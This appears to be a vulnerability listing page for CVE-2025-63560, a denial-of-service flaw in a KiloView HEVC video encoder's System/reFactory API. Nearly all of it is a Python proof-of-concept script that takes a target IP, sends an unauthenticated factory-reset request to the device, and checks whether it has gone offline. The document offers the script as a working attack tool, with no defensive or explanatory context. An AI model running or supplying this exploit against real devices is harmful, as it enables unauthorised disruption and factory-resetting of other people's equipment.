CVE-2025-63560 KiloView视频编码器System/reFactory组件拒绝服务漏洞

import requests import sys import time # CVE-2025-63560 PoC # Target: KiloView Dual Channel 4k HDMI & 3G-SDI HEVC Video Encoder Firmware v.1.20.0006 # Vulnerability: System/reFactory component in systemctrl API allows DoS without authentication def exploit(target_ip, target_port=80): """ Exploit for CVE-2025-63560 Sends malicious request to systemctrl API System/reFactory endpoint """ url = f"http://{target_ip}:{target_port}/systemctrl/api/System/reFactory" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-63560-PoC)' } # Malicious payload that triggers DoS condition payload = { 'action': 'reset', 'type': 'factory', 'params': { 'force': True, 'timeout': 0 # Invalid timeout value } } try: print(f"[*] Sending exploit payload to {url}") response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") # Verify if device is unresponsive time.sleep(3) check_url = f"http://{target_ip}:{target_port}/" try: health_check = requests.get(check_url, timeout=5) print(f"[*] Device still responsive") except requests.exceptions.RequestException: print(f"[!] Device appears to be non-responsive - DoS successful") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)